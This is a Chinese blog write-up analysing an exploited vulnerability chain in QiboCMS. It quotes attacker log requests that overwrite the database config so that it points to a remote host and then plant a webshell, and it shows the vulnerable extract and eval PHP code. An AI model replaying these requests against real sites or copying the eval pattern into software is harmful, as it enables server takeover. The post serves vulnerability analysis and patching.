昨天在齐博CMS官方看到发布的新补丁:
哟,说明已经被搞了嘛,然后还有个站长贴出了c.php的代码
解密后看到
密码为FENG
肯定是有黑阔在批量这个漏洞了,于是通过百度去采集了一下do/c.php这个
然后咱们根据这个读取一下日志分析分析
在十月一号19点5分生成的日志如下:
1
|
/do/fujsarticle.php?type=like&FileName=../data/mysql_config.php&submit=fuck HTTP/1.1″ 200 26 “-” “-”
|
1
|
/do/jf.php?dbuser=getshell&dbhost=xxx.xxx.xxx.xxx&dbpw=shellpwd&dbname=getshell&pre=qb_&dbcharset=gbk&submit=getshell HTTP/1.1″ 200 17985 “-” “-”
|
1
|
/do/c.php HTTP/1.1″ 200 – “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)”
|
下载源程序下来审计,首先找到/do/fujsarticle.php文件
1
2
3
4
5
6
|
$FileName=dirname(__FILE__).“/../cache/fujsarticle_cache/”;
if($type==‘like’){ //只有type=like时候才
$FileName.=floor($id/3000).“/”;
}else{
unset($id);
}
|
在其中require_once(dirname(__FILE__).”/global.php”);
可以看到,由于加载了global.php文件,所以前面FileName的get变量再次extract了
所以FIleName可控~
然后看到/do/jf.php
1
2
3
4
5
6
7
8
9
10
|
$query = $db->query(“SELECT * FROM {$pre}jfsort ORDER BY list”);
while($rs = $db->fetch_array($query)){
$fnameDB[$rs[fid]]=$rs[name];
$query2 = $db->query(“SELECT * FROM {$pre}jfabout WHERE fid=’$rs[fid]‘ ORDER BY list”);
while($rs2 = $db->fetch_array($query2)){
eval(“$rs2[title]=”$rs2[title]“;”);
eval(“$rs2[content]=”$rs2[content]“;”);
$jfDB[$rs[fid]][]=$rs2;
}
}
|
看到在fjabout里读取到的title和content都执行了
经过小伙伴们的提点,先使用fujsarticle.php对数据库配置文件data/mysql_config.php进行覆盖,然后再使用远程的数据库内的xx_fjabout内的内容生成了一句话。
漏洞利用证明如下(只写了个phpinfo)
修复方案:请查看此链接
[via@redrain / ztz / hellove / maple]
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号